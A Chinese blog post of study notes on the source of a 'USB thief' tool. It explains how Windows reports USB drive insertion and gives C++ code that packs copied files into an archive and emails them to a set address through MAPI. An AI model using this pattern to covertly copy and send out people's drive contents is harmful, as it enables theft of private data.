热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

读"U盘小偷"有感http://hi.baidu.com/sudami/blog/item/c53b3eec4a019cd22e2e217b.html

嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:bbs.pediy.comshowthread

嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:bbs.pediy.com/showthread.php读了其源码,学到一些东西:

(1) 判断移动设备的插入/拔出

嘿嘿, 以前一直觉得很神秘的"判断是否有U盘插入"其实就是这么一回事!

下面照搬作者本人的注解吧:

要先加头文件#include "dbt.h"
1.Message==WM_DEVICECHANGE
当设备被插入/拔出的时候,WINDOWS会向每个窗体发送WM_DEVICECHANGE 消息,当消息的wParam 值等于 DBT_DEVICEARRIVAL 时,表示Media设备被插入并且已经可用;如果wParam值等于DBT_DEVICEREMOVECOMPLETE,表示Media设备已经被移出。

它们的lParam都指向一个 DEV_BROADCAST_HDR结构体,其原形如下:

typedef struct _DEV_BROADCAST_HDR {
DWORD dbch_size;
DWORD dbch_devicetype;
DWORD dbch_reserved;
} DEV_BROADCAST_HDR,
*PDEV_BROADCAST_HDR;


这个结构体仅仅是一个“头”(HDR),其后还有附加数据,dbch_size表示结构体实例的字节数,当其中的dbch_devicetype字段值等于DBT_DEVTYP_VOLUME时,表示当前设备是逻辑驱动器,且lParam实际上指向的应该是DEV_BROADCAST_VOLUME 结构体实例

typedef struct _DEV_BROADCAST_VOLUME {
DWORD dbcv_size;
DWORD dbcv_devicetype;
DWORD dbcv_reserved;
DWORD dbcv_unitmask;
WORD dbcv_flags;
} DEV_BROADCAST_VOLUME,
*PDEV_BROADCAST_VOLUME;

其中dbcv_unitmask 字段表示当前改变的驱动器掩码,第一位表示驱动器号A,第二位表示驱动器号B,第三位表示驱动器号C,以此类推…… dbcv_flags 表示驱动器的类别,如果等于1,则是光盘驱动器;如果是2,则是网络驱动器;如果是硬盘、U盘则都等于0

(2)设置热键

以前设置热键没有用到 CHotKeyCtrl 这个控件. 今天看了下,发现用起来相当的方便.配合 RegisterHotKey 很实用

(3) 后台压缩文件,发邮件

 

WinRAR的一些命令:

 

 

// 发邮件
// 不知道怎么回是,VC 6.0的编译器出问题了,一复制出来,汉字都是乱码
void CDlg::OnSendMail()
{
if(bCopy)
{
   if(this->OnWinrarPress())
   {
    HMODULE hMod = LoadLibrary("MAPI32.DLL");
   
    ULONG (PASCAL *lpfnSendMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG);
    (FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");
   
    CString sAddress = this->m_MailAddress;
    CString sName=this->m_CopyPath;
    sName+=".rar";
    MapiRecipDesc recip;
    memset(&recip,0,sizeof(MapiRecipDesc));
    recip.lpszAddress = sAddress.GetBuffer(0);
    recip.ulRecipClass = MAPI_TO;
    recip.lpszName = sAddress.GetBuffer(0);
   
    MapiFileDesc FileDesc;
    memset(&FileDesc,0,sizeof(FileDesc));
    FileDesc.lpszPathName=sName.GetBuffer(0);
    FileDesc.nPosition=(ULONG)-1;
   
    MapiMessage message;
    memset(&message,0,sizeof(message));
    message.nRecipCount = 1;
    message.lpRecips = &recip;
    message.nFileCount = 1;
    message.lpFiles = &FileDesc;
    message.lpszSubject = "Happy Every Day :-)";
    message.lpszNoteText = "XXXXXX";
   
    CWnd *pCurrentWnd = CWnd::GetSafeOwner(NULL,NULL);
   
    int nError = lpfnSendMail(0,0,&message,MAPI_LOGON_UI | MAPI_DIALOG,0);
   
    if(nError != SUCCESS_SUCCESS && nError != MAPI_USER_ABORT
     && nError!= MAPI_E_LOGIN_FAILURE)
    {
     AfxMessageBox(AFX_IDP_FAILED_MAPI_SEND);
    }
   
    pCurrentWnd->SetActiveWindow();
   
    FreeLibrary(hMod);
  
   }
}
}

---------------------------------------- sudami.分割线--------------------------------------------

标记几个API,免得忘了:

SHFileOperation、_splitpath、_makepath

 

 


类别:驱动学习笔记 | 浏览( 55) | 评论 (2)
 
上一篇: [note]讨论隐藏文件的问题    下一篇: [转载]利用NTLDR进入RING0的方法... 

推荐阅读
  • 本文分析了Wince程序内存和存储内存的分布及作用。Wince内存包括系统内存、对象存储和程序内存,其中系统内存占用了一部分SDRAM,而剩下的30M为程序内存和存储内存。对象存储是嵌入式wince操作系统中的一个新概念,常用于消费电子设备中。此外,文章还介绍了主电源和后备电池在操作系统中的作用。 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
  • 基于Socket的多个客户端之间的聊天功能实现方法
    本文介绍了基于Socket的多个客户端之间实现聊天功能的方法,包括服务器端的实现和客户端的实现。服务器端通过每个用户的输出流向特定用户发送消息,而客户端通过输入流接收消息。同时,还介绍了相关的实体类和Socket的基本概念。 ... [详细]
  • 本文讨论了在VMWARE5.1的虚拟服务器Windows Server 2008R2上安装oracle 10g客户端时出现的问题,并提供了解决方法。错误日志显示了异常访问违例,通过分析日志中的问题帧,找到了解决问题的线索。文章详细介绍了解决方法,帮助读者顺利安装oracle 10g客户端。 ... [详细]
  • 本文介绍了NetCore WebAPI开发的探索过程,包括新建项目、运行接口获取数据、跨平台部署等。同时还提供了客户端访问代码示例,包括Post函数、服务器post地址、api参数等。详细讲解了部署模式选择、框架依赖和独立部署的区别,以及在Windows和Linux平台上的部署方法。 ... [详细]
  • 本文介绍了使用C++Builder实现获取USB优盘序列号的方法,包括相关的代码和说明。通过该方法,可以获取指定盘符的USB优盘序列号,并将其存放在缓冲中。该方法可以在Windows系统中有效地获取USB优盘序列号,并且适用于C++Builder开发环境。 ... [详细]
  • tcpdump 4.5.1 crash 深入分析
    tcpdump 4.5.1 crash 深入分析 ... [详细]
  • 如何用JNI技术调用Java接口以及提高Java性能的详解
    本文介绍了如何使用JNI技术调用Java接口,并详细解析了如何通过JNI技术提高Java的性能。同时还讨论了JNI调用Java的private方法、Java开发中使用JNI技术的情况以及使用Java的JNI技术调用C++时的运行效率问题。文章还介绍了JNIEnv类型的使用方法,包括创建Java对象、调用Java对象的方法、获取Java对象的属性等操作。 ... [详细]
  • 本文介绍了一种轻巧方便的工具——集算器,通过使用集算器可以将文本日志变成结构化数据,然后可以使用SQL式查询。集算器利用集算语言的优点,将日志内容结构化为数据表结构,SPL支持直接对结构化的文件进行SQL查询,不再需要安装配置第三方数据库软件。本文还详细介绍了具体的实施过程。 ... [详细]
  • 用Vue实现的Demo商品管理效果图及实现代码
    本文介绍了一个使用Vue实现的Demo商品管理的效果图及实现代码。 ... [详细]
  • 本文详细介绍了Android中的坐标系以及与View相关的方法。首先介绍了Android坐标系和视图坐标系的概念,并通过图示进行了解释。接着提到了View的大小可以超过手机屏幕,并且只有在手机屏幕内才能看到。最后,作者表示将在后续文章中继续探讨与View相关的内容。 ... [详细]
  • 本文总结了在编写JS代码时,不同浏览器间的兼容性差异,并提供了相应的解决方法。其中包括阻止默认事件的代码示例和猎取兄弟节点的函数。这些方法可以帮助开发者在不同浏览器上实现一致的功能。 ... [详细]
author-avatar
KLD受害者
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有